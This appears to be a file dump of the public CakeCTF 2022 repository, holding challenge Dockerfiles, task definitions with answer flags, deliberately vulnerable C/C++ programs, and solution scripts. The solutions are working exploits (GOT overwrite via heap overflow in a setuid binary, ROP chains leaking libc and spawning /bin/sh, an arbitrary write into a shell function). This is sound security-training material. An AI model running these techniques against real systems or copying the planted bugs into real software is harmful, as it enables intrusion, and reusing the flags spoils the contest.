15 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py",pty,ctty,stderr,echo=0
16 |
--------------------------------------------------------------------------------
/misc/readme2022/distfiles/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.10-slim-buster
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get update && apt-get install -yqq socat
6 | RUN groupadd -r ctf && useradd -r -g ctf ctf
7 |
8 | RUN echo "FakeCTF{**** REDUCTED ****}" > /flag.txt
9 | RUN chmod 444 /flag.txt
10 |
11 | USER ctf
12 | WORKDIR /app
13 | ADD server.py .
14 |
15 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py",pty,ctty,stderr,echo=0
16 |
--------------------------------------------------------------------------------
/misc/readme2022/distfiles/server.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | try:
4 | f = open("/flag.txt", "r")
5 | except:
6 | print("[-] Flag not found. If this message shows up")
7 | print(" on the remote server, please report to amdin.")
8 |
9 | if __name__ == '__main__':
10 | filepath = input("filepath: ")
11 | if filepath.startswith("/"):
12 | exit("[-] Filepath must not start with '/'")
13 | elif '..' in filepath:
14 | exit("[-] Filepath must not contain '..'")
15 |
16 | filepath = os.path.expanduser(filepath)
17 | try:
18 | print(open(filepath, "r").read())
19 | except:
20 | exit("[-] Could not open file")
21 |
--------------------------------------------------------------------------------
/misc/readme2022/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | readme2022:
4 | build: ./
5 | ports:
6 | - 12022:9999
7 | restart: on-failure:10
8 |
--------------------------------------------------------------------------------
/misc/readme2022/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: readme 2022
3 | description: >
4 | nc {host} {port}
5 | flag: "CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}"
6 | author: ptr-yudai
7 | host: misc.2022.cakectf.com
8 | port: 12022
9 | tags:
10 | - misc
11 | is_survey: false
12 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/01_build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | docker build . -t crc32pwn
3 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/02_start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | LENGTH=9
3 | STRENGTH=26
4 | challenge=`dd bs=32 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _. | cut -c -$LENGTH`
5 | echo hashcash -mb$STRENGTH $challenge
6 |
7 | echo "hashcash token: "
8 | read token
9 | if [ `expr "$token" : "^[a-zA-Z0-9\_\+\.\:\/]\{52\}$"` -eq 52 ]; then
10 | hashcash -cdb$STRENGTH -f /tmp/hashcash.sdb -r $challenge $token 2> /dev/null
11 | if [ $? -eq 0 ]; then
12 | echo "[+] Correct"
13 | else
14 | echo "[-] Wrong"
15 | exit
16 | fi
17 | else
18 | echo "[-] Invalid token"
19 | exit
20 | fi
21 |
22 | s=`dd bs=18 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _.`
23 | python3 -c 'import pty; pty.spawn(["/usr/bin/docker", "run", "--rm", "--name", "'$s'", "-it", "crc32pwn", "timeout", "-s9", "300", "bash"])'
24 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | # Update
6 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
7 |
8 | # Add users
9 | RUN groupadd -r admin && useradd -r -g admin admin
10 | RUN groupadd pwn && useradd -g pwn pwn
11 | RUN printf "/bin/bash\n" | chsh pwn
12 |
13 | # Add crc32sum
14 | ADD crc32sum /usr/bin/crc32sum
15 | RUN chmod 555 /usr/bin/crc32sum
16 | RUN chown admin:root /usr/bin/crc32sum
17 | RUN chmod +s /usr/bin/crc32sum
18 |
19 | RUN mkdir -p /home/pwn
20 | RUN chown -R pwn:pwn /home/pwn
21 | WORKDIR /home/pwn/
22 |
23 | # Add flag
24 | ADD flag.txt /home/pwn/flag.txt
25 | RUN chmod 440 /home/pwn/flag.txt
26 | RUN chown admin:root /home/pwn/flag.txt
27 |
28 | USER pwn
29 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc -Wl,-z,lazy,-z,relro crc32sum.c -o crc32sum -fno-stack-protector -no-pie
3 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/crc32sum:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/crc32pwn/challenge/crc32sum
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/crc32sum.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | /**
13 | * Calculate CRC32 hash for data
14 | */
15 | unsigned int crc32(unsigned char *data, size_t size)
16 | {
17 | size_t i, j;
18 | unsigned int hash;
19 |
20 | hash = 0xFFFFFFFF;
21 | for (i = 0; i < size; i++) {
22 | hash ^= data[i];
23 | for (j = 0; j < CHAR_BIT; j++) {
24 | if (hash & 1)
25 | hash = (hash >> 1) ^ 0xEDB88320;
26 | else
27 | hash >>= 1;
28 | }
29 | }
30 |
31 | return hash ^ 0xFFFFFFFF;
32 | }
33 |
34 | /**
35 | * Calculate CRC32 hash for file
36 | */
37 | void crc32sum(const char *filepath)
38 | {
39 | int fd;
40 | char *buffer, *p;
41 | struct stat stbuf;
42 |
43 | /* Try to open file */
44 | if ((fd = open(filepath, O_RDONLY)) < 0) {
45 | perror(filepath);
46 | return;
47 | }
48 |
49 | /* Lock file */
50 | if (flock(fd, LOCK_SH)) {
51 | perror("flock");
52 | return;
53 | }
54 |
55 | /* Get file size */
56 | if (fstat(fd, &stbuf)) {
57 | perror(filepath);
58 | flock(fd, LOCK_UN);
59 | return;
60 | }
61 |
62 | /* Allocate buffer */
63 | if (!(buffer = malloc(stbuf.st_size))) {
64 | perror("Memory Error");
65 | flock(fd, LOCK_UN);
66 | return;
67 | }
68 |
69 | /* Read file */
70 | p = buffer;
71 | while (read(fd, p++, 1) == 1);
72 |
73 | /* Calculate hash */
74 | printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size));
75 |
76 | /* Cleanup */
77 | free(buffer);
78 | flock(fd, LOCK_UN);
79 | close(fd);
80 | }
81 |
82 | /**
83 | * Entry point
84 | */
85 | int main(int argc, char **argv)
86 | {
87 | char *filepath;
88 |
89 | setreuid(geteuid(), geteuid());
90 |
91 | if (argc < 2) {
92 | printf("Usage: %s ...\n", argv[0]);
93 | if (system("/usr/bin/which crc32 > /dev/null") == 0)
94 | puts("Your system has `crc32` too");
95 | return 1;
96 | }
97 |
98 | for (int i = 1; i < argc; i++) {
99 | filepath = strdup(argv[i]);
100 | crc32sum(filepath);
101 | free(filepath);
102 | }
103 |
104 | return 0;
105 | }
106 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{pr0c3ss1ng_f1l3s_w1th0ut_BUG_1s_sup3r_h4rd!}
2 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/challenge/pwn.xinetd:
--------------------------------------------------------------------------------
1 | service pwn
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = ubuntu
8 | group = docker
9 | type = UNLISTED
10 | bind = 0.0.0.0
11 | port = 9009
12 | server = /home/ubuntu/crc32pwn/challenge/02_start.sh
13 | per_source = 2
14 | rlimit_as = 1024M
15 | }
16 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/distfiles/01_build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | docker build . -t crc32pwn
3 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/distfiles/02_start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | s=`dd bs=18 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _.`
3 | docker run --rm --name $s -it crc32pwn timeout -s9 300 bash
4 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/distfiles/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | # Update
6 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
7 |
8 | # Add users
9 | RUN groupadd -r admin && useradd -r -g admin admin
10 | RUN groupadd pwn && useradd -g pwn pwn
11 | RUN printf "/bin/bash\n" | chsh pwn
12 |
13 | # Add crc32sum
14 | ADD crc32sum /usr/bin/crc32sum
15 | RUN chmod 555 /usr/bin/crc32sum
16 | RUN chown admin:root /usr/bin/crc32sum
17 | RUN chmod +s /usr/bin/crc32sum
18 |
19 | RUN mkdir -p /home/pwn
20 | RUN chown -R pwn:pwn /home/pwn
21 | WORKDIR /home/pwn/
22 |
23 | # Add flag
24 | ADD flag.txt /home/pwn/flag.txt
25 | RUN chmod 440 /home/pwn/flag.txt
26 | RUN chown admin:root /home/pwn/flag.txt
27 |
28 | USER pwn
29 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/distfiles/crc32sum:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/crc32pwn/distfiles/crc32sum
--------------------------------------------------------------------------------
/pwn/crc32pwn/distfiles/crc32sum.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | /**
13 | * Calculate CRC32 hash for data
14 | */
15 | unsigned int crc32(unsigned char *data, size_t size)
16 | {
17 | size_t i, j;
18 | unsigned int hash;
19 |
20 | hash = 0xFFFFFFFF;
21 | for (i = 0; i < size; i++) {
22 | hash ^= data[i];
23 | for (j = 0; j < CHAR_BIT; j++) {
24 | if (hash & 1)
25 | hash = (hash >> 1) ^ 0xEDB88320;
26 | else
27 | hash >>= 1;
28 | }
29 | }
30 |
31 | return hash ^ 0xFFFFFFFF;
32 | }
33 |
34 | /**
35 | * Calculate CRC32 hash for file
36 | */
37 | void crc32sum(const char *filepath)
38 | {
39 | int fd;
40 | char *buffer, *p;
41 | struct stat stbuf;
42 |
43 | /* Try to open file */
44 | if ((fd = open(filepath, O_RDONLY)) < 0) {
45 | perror(filepath);
46 | return;
47 | }
48 |
49 | /* Lock file */
50 | if (flock(fd, LOCK_SH)) {
51 | perror("flock");
52 | return;
53 | }
54 |
55 | /* Get file size */
56 | if (fstat(fd, &stbuf)) {
57 | perror(filepath);
58 | flock(fd, LOCK_UN);
59 | return;
60 | }
61 |
62 | /* Allocate buffer */
63 | if (!(buffer = malloc(stbuf.st_size))) {
64 | perror("Memory Error");
65 | flock(fd, LOCK_UN);
66 | return;
67 | }
68 |
69 | /* Read file */
70 | p = buffer;
71 | while (read(fd, p++, 1) == 1);
72 |
73 | /* Calculate hash */
74 | printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size));
75 |
76 | /* Cleanup */
77 | free(buffer);
78 | flock(fd, LOCK_UN);
79 | close(fd);
80 | }
81 |
82 | /**
83 | * Entry point
84 | */
85 | int main(int argc, char **argv)
86 | {
87 | char *filepath;
88 |
89 | setreuid(geteuid(), geteuid());
90 |
91 | if (argc < 2) {
92 | printf("Usage: %s ...\n", argv[0]);
93 | if (system("/usr/bin/which crc32 > /dev/null") == 0)
94 | puts("Your system has `crc32` too");
95 | return 1;
96 | }
97 |
98 | for (int i = 1; i < argc; i++) {
99 | filepath = strdup(argv[i]);
100 | crc32sum(filepath);
101 | free(filepath);
102 | }
103 |
104 | return 0;
105 | }
106 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/distfiles/flag.txt:
--------------------------------------------------------------------------------
1 | FakeCTF{sample_flag}
2 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/solution/exploit.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | TARGET=crc32sum
3 | WORKDIR=/tmp/alligator
4 |
5 | # Make working directory
6 | rm -rf $WORKDIR
7 | mkdir -p $WORKDIR
8 | cd $WORKDIR
9 |
10 | PATH_A=AAAAAAAAAAAAAAAAaaaaaaaa_10h
11 | PATH_B=BBBBBBBBBBBBBBBBbbbbbbbb_20h
12 | PATH_C=CCCCCCCCCCCCCCCCccccccccccccccccCCCCCCCC_30h
13 | PATH_PWN=AAAAAAAAAAAAAAAAaaaaaaaa_pwn
14 |
15 | printf '0%.0s' {1..16} > $PATH_A
16 | printf '1%.0s' {1..32} > $PATH_B
17 | printf '\x50\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C # free-->system@plt
18 | printf '\x40\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
19 | printf '\x50\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
20 | printf '\x60\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
21 | printf '\x70\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
22 | printf '\x80\x10\x40\x00\x00\x00\x00\x00' >> $PATH_C
23 |
24 | mkfifo $PATH_PWN
25 | printf '3%.0s' {1..24} > overflow
26 | printf '\x41\x00\x00\x00\x00\x00\x00\x00' >> overflow
27 | printf '\x18\x40\x40' >> overflow # free@got
28 |
29 | printf 'id; cat /home/pwn/flag.txt;' > cmd
30 |
31 | $TARGET \
32 | $PATH_B $PATH_A $PATH_C \
33 | $PATH_PWN \
34 | $PATH_C \
35 | cmd &
36 | sleep 1
37 | cat ./overflow > $PATH_PWN
38 |
--------------------------------------------------------------------------------
/pwn/crc32pwn/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: "crc32pwn"
3 | description: >
4 | Privileged CRC32 Calculator!
5 | nc {host} {port}
6 | * There is a limit to the number of connections. Wait 5 minutes if you cannot connect.
7 | flag: "CakeCTF{pr0c3ss1ng_f1l3s_w1th0ut_BUG_1s_sup3r_h4rd!}"
8 | author: ptr-yudai
9 | host: pwn2.2022.cakectf.com
10 | port: 9009
11 | tags:
12 | - pwn
13 | - lunatic
14 | is_survey: false
15 |
--------------------------------------------------------------------------------
/pwn/smal_arey/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
6 | RUN apt-get -y install xinetd
7 | RUN groupadd -r pwn && useradd -r -g pwn pwn
8 |
9 | ADD challenge/pwn.xinetd /etc/xinetd.d/pwn
10 | ADD challenge/init.sh /etc/init.sh
11 | ADD challenge/redir.sh /home/pwn/.redir.sh
12 | RUN chmod 550 /home/pwn/.redir.sh
13 | RUN chmod 700 /etc/init.sh
14 | RUN chmod 1733 /tmp /var/tmp /dev/shm
15 |
16 | WORKDIR /home/pwn
17 | ADD challenge/flag.txt flag.txt
18 | ADD distfiles/chall chall
19 | RUN chmod 440 flag.txt
20 | RUN chmod 550 chall
21 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt
22 |
23 | RUN chown -R root:pwn /home/pwn
24 |
25 | RUN ls /home/pwn -lh
26 |
27 | RUN service xinetd restart
28 |
--------------------------------------------------------------------------------
/pwn/smal_arey/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc -Wl,-z,lazy,-z,relro main.c -o chall -no-pie
3 |
--------------------------------------------------------------------------------
/pwn/smal_arey/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{PRE01-C. Use parentheses within macros around parameter names}
2 |
--------------------------------------------------------------------------------
/pwn/smal_arey/challenge/init.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | service xinetd restart && /bin/sleep infinity
3 |
--------------------------------------------------------------------------------
/pwn/smal_arey/challenge/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define ARRAY_SIZE(n) (n * sizeof(long))
6 | #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))
7 |
8 | int main() {
9 | long size, index, *arr;
10 |
11 | printf("size: ");
12 | if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
13 | exit(0);
14 |
15 | arr = ARRAY_NEW(size);
16 | while (1) {
17 | printf("index: ");
18 | if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
19 | exit(0);
20 |
21 | printf("value: ");
22 | scanf("%ld", &arr[index]);
23 | }
24 | }
25 |
26 | __attribute__((constructor))
27 | void setup(void) {
28 | alarm(180);
29 | setbuf(stdin, NULL);
30 | setbuf(stdout, NULL);
31 | }
32 |
--------------------------------------------------------------------------------
/pwn/smal_arey/challenge/pwn.xinetd:
--------------------------------------------------------------------------------
1 | service pwn
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = pwn
8 | type = UNLISTED
9 | bind = 0.0.0.0
10 | port = 9999
11 | server = /home/pwn/.redir.sh
12 | rlimit_as = 1024M
13 | }
--------------------------------------------------------------------------------
/pwn/smal_arey/challenge/redir.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | cd /home/pwn && ./chall
3 |
--------------------------------------------------------------------------------
/pwn/smal_arey/distfiles/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/smal_arey/distfiles/chall
--------------------------------------------------------------------------------
/pwn/smal_arey/distfiles/ld-2.31.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/smal_arey/distfiles/ld-2.31.so
--------------------------------------------------------------------------------
/pwn/smal_arey/distfiles/libc-2.31.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/smal_arey/distfiles/libc-2.31.so
--------------------------------------------------------------------------------
/pwn/smal_arey/distfiles/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define ARRAY_SIZE(n) (n * sizeof(long))
6 | #define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))
7 |
8 | int main() {
9 | long size, index, *arr;
10 |
11 | printf("size: ");
12 | if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
13 | exit(0);
14 |
15 | arr = ARRAY_NEW(size);
16 | while (1) {
17 | printf("index: ");
18 | if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
19 | exit(0);
20 |
21 | printf("value: ");
22 | scanf("%ld", &arr[index]);
23 | }
24 | }
25 |
26 | __attribute__((constructor))
27 | void setup(void) {
28 | alarm(180);
29 | setbuf(stdin, NULL);
30 | setbuf(stdout, NULL);
31 | }
32 |
--------------------------------------------------------------------------------
/pwn/smal_arey/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | smal_arey:
4 | build:
5 | context: .
6 | working_dir: /home/pwn
7 | container_name: smal_arey
8 | ulimits:
9 | nproc: 65535
10 | core: 0
11 | ports:
12 | - "9002:9999"
13 | entrypoint: /etc/init.sh
14 | restart: always
15 |
--------------------------------------------------------------------------------
/pwn/smal_arey/solution/solve.py:
--------------------------------------------------------------------------------
1 | from ptrlib import *
2 | import os
3 |
4 | HOST = os.getenv("HOST", "localhost")
5 | PORT = int(os.getenv("PORT", "9002"))
6 |
7 | def setval(index, value):
8 | sock.sendlineafter("index: ", str(index))
9 | sock.sendlineafter("value: ", str(value))
10 |
11 | libc = ELF("../distfiles/libc-2.31.so")
12 | elf = ELF("../distfiles/chall")
13 | #sock = Process("../distfiles/chall")
14 | sock = Socket(HOST, PORT)
15 |
16 | """
17 | 1. Leak address
18 | """
19 | sock.sendlineafter("size: ", "5")
20 |
21 | # prepare rop chain
22 | setval(0, next(elf.gadget("pop rdi; ret;")))
23 | setval(1, elf.got("printf"))
24 | setval(2, elf.plt("printf"))
25 | setval(3, elf.symbol("_start"))
26 |
27 | # size = 0xffffffffffffffff
28 | setval(4, (1<<64)-1)
29 |
30 | # arr = exit@got
31 | setval(6, elf.got('exit'))
32 | # exit@got = run rop chain
33 | setval(0, next(elf.gadget("add rsp, 8; ret;")))
34 |
35 | # exit
36 | sock.sendlineafter("index: ", "-1")
37 |
38 | # leak
39 | libc_base = u64(sock.recv(6)) - libc.symbol("printf")
40 | libc.set_base(libc_base)
41 |
42 | """
43 | 2. pwn
44 | """
45 | sock.sendlineafter("size: ", "5")
46 |
47 | # prepare rop chain
48 | setval(0, next(elf.gadget("pop rdi; ret;")))
49 | setval(1, next(libc.search("/bin/sh")))
50 | setval(2, libc.symbol("system"))
51 |
52 | # size = 0xffffffffffffffff
53 | setval(4, (1<<64)-1)
54 |
55 | # arr = exit@got
56 | setval(6, elf.got('exit'))
57 | # exit@got = run rop chain
58 | setval(0, next(elf.gadget("add rsp, 8; ret;")))
59 |
60 | # exit
61 | sock.sendlineafter("index: ", "-1")
62 |
63 | sock.sh()
64 |
--------------------------------------------------------------------------------
/pwn/smal_arey/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: "smal arey"
3 | description: >
4 | Small array only!
5 | nc {host} {port}
6 | flag: "CakeCTF{PRE01-C. Use parentheses within macros around parameter names}"
7 | author: ptr-yudai
8 | host: pwn1.2022.cakectf.com
9 | port: 9002
10 | tags:
11 | - pwn
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
6 | RUN apt-get -y install xinetd
7 | RUN groupadd -r pwn && useradd -r -g pwn pwn
8 |
9 | ADD challenge/pwn.xinetd /etc/xinetd.d/pwn
10 | ADD challenge/init.sh /etc/init.sh
11 | ADD challenge/redir.sh /home/pwn/.redir.sh
12 | RUN chmod 550 /home/pwn/.redir.sh
13 | RUN chmod 700 /etc/init.sh
14 | RUN chmod 1733 /tmp /var/tmp /dev/shm
15 |
16 | WORKDIR /home/pwn
17 | ADD challenge/flag.txt flag.txt
18 | ADD distfiles/chall chall
19 | RUN chmod 440 flag.txt
20 | RUN chmod 550 chall
21 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt
22 |
23 | RUN chown -R root:pwn /home/pwn
24 |
25 | RUN ls /home/pwn -lh
26 |
27 | RUN service xinetd restart
28 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | g++ -Wl,-z,lazy,-z,relro main.cpp -o chall -no-pie
3 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
2 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/challenge/init.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | service xinetd restart && /bin/sleep infinity
3 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/challenge/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | struct Test {
5 | Test() { std::fill(_c_str, _c_str + 0x20, 0); }
6 | char* c_str() { return _c_str; }
7 | std::string& str() { return _str; }
8 |
9 | private:
10 | __attribute__((used))
11 | void call_me() {
12 | std::system("/bin/sh");
13 | }
14 |
15 | char _c_str[0x20];
16 | std::string _str;
17 | };
18 |
19 | int main() {
20 | Test test;
21 |
22 | std::setbuf(stdin, NULL);
23 | std::setbuf(stdout, NULL);
24 |
25 | std::cout << "1. set c_str" << std::endl
26 | << "2. get c_str" << std::endl
27 | << "3. set str" << std::endl
28 | << "4. get str" << std::endl;
29 |
30 | while (std::cin.good()) {
31 | int choice = 0;
32 | std::cout << "choice: ";
33 | std::cin >> choice;
34 |
35 | switch (choice) {
36 | case 1: // set c_str
37 | std::cout << "c_str: ";
38 | std::cin >> test.c_str();
39 | break;
40 |
41 | case 2: // get c_str
42 | std::cout << "c_str: " << test.c_str() << std::endl;
43 | break;
44 |
45 | case 3: // set str
46 | std::cout << "str: ";
47 | std::cin >> test.str();
48 | break;
49 |
50 | case 4: // get str
51 | std::cout << "str: " << test.str() << std::endl;
52 | break;
53 |
54 | default: // otherwise exit
55 | std::cout << "bye!" << std::endl;
56 | return 0;
57 | }
58 | }
59 |
60 | return 1;
61 | }
62 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/challenge/pwn.xinetd:
--------------------------------------------------------------------------------
1 | service pwn
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = pwn
8 | type = UNLISTED
9 | bind = 0.0.0.0
10 | port = 9999
11 | server = /home/pwn/.redir.sh
12 | rlimit_as = 1024M
13 | }
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/challenge/redir.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | cd /home/pwn && ./chall
3 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/distfiles/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/str_vs_cstr/distfiles/chall
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/distfiles/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | struct Test {
5 | Test() { std::fill(_c_str, _c_str + 0x20, 0); }
6 | char* c_str() { return _c_str; }
7 | std::string& str() { return _str; }
8 |
9 | private:
10 | __attribute__((used))
11 | void call_me() {
12 | std::system("/bin/sh");
13 | }
14 |
15 | char _c_str[0x20];
16 | std::string _str;
17 | };
18 |
19 | int main() {
20 | Test test;
21 |
22 | std::setbuf(stdin, NULL);
23 | std::setbuf(stdout, NULL);
24 |
25 | std::cout << "1. set c_str" << std::endl
26 | << "2. get c_str" << std::endl
27 | << "3. set str" << std::endl
28 | << "4. get str" << std::endl;
29 |
30 | while (std::cin.good()) {
31 | int choice = 0;
32 | std::cout << "choice: ";
33 | std::cin >> choice;
34 |
35 | switch (choice) {
36 | case 1: // set c_str
37 | std::cout << "c_str: ";
38 | std::cin >> test.c_str();
39 | break;
40 |
41 | case 2: // get c_str
42 | std::cout << "c_str: " << test.c_str() << std::endl;
43 | break;
44 |
45 | case 3: // set str
46 | std::cout << "str: ";
47 | std::cin >> test.str();
48 | break;
49 |
50 | case 4: // get str
51 | std::cout << "str: " << test.str() << std::endl;
52 | break;
53 |
54 | default: // otherwise exit
55 | std::cout << "bye!" << std::endl;
56 | return 0;
57 | }
58 | }
59 |
60 | return 1;
61 | }
62 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | str_vs_cstr:
4 | build:
5 | context: .
6 | working_dir: /home/pwn
7 | container_name: str_vs_cstr
8 | ulimits:
9 | nproc: 65535
10 | core: 0
11 | ports:
12 | - "9003:9999"
13 | entrypoint: /etc/init.sh
14 | restart: always
15 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/solution/solve.py:
--------------------------------------------------------------------------------
1 | import os
2 | from ptrlib import *
3 |
4 | HOST = os.getenv("HOST", "localhost")
5 | PORT = os.getenv("PORT", "9003")
6 |
7 | def set_cstr(data):
8 | assert is_cin_safe(data)
9 | sock.sendlineafter("choice: ", "1")
10 | sock.sendlineafter("c_str: ", data)
11 | def set_str(data):
12 | assert is_cin_safe(data)
13 | sock.sendlineafter("choice: ", "3")
14 | sock.sendlineafter("str: ", data)
15 |
16 | elf = ELF("../distfiles/chall")
17 | #sock = Process("../distfiles/chall")
18 | sock = Socket(HOST, int(PORT))
19 |
20 | payload = b'A'*0x20
21 | # std::string pointer --> cin@got
22 | payload += p64(elf.got('_ZNSolsEPFRSoS_E'))
23 | # std::string size --> 0x8
24 | payload += p64(8)
25 | # std::string capacity --> 0x8
26 | payload += p64(8)
27 |
28 | set_cstr(payload)
29 | set_str(p64(elf.symbol('_ZN4Test7call_meEv'))) # AAW
30 | sock.sendlineafter("choice: ", "x")
31 |
32 | sock.interactive()
33 |
--------------------------------------------------------------------------------
/pwn/str_vs_cstr/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: "str.vs.cstr"
3 | description: >
4 | Which do you like, C string or C++ string?
5 | nc {host} {port}
6 | flag: "CakeCTF{HW1: Remove \"call_me\" and solve it / HW2: Set PIE+RELRO and solve it}"
7 | author: ptr-yudai
8 | host: pwn1.2022.cakectf.com
9 | port: 9003
10 | tags:
11 | - pwn
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/pwn.xinetd:
--------------------------------------------------------------------------------
1 | service pwn
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = kosenctfx
8 | group = docker
9 | type = UNLISTED
10 | bind = 0.0.0.0
11 | port = 9999
12 | server = /home/kosenctfx/welkerme/challenge/qemu/run_qemu.sh
13 | per_source = 2
14 | }
15 |
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/qemu/bzImage:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/challenge/qemu/bzImage
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/qemu/rootfs.cpio:
--------------------------------------------------------------------------------
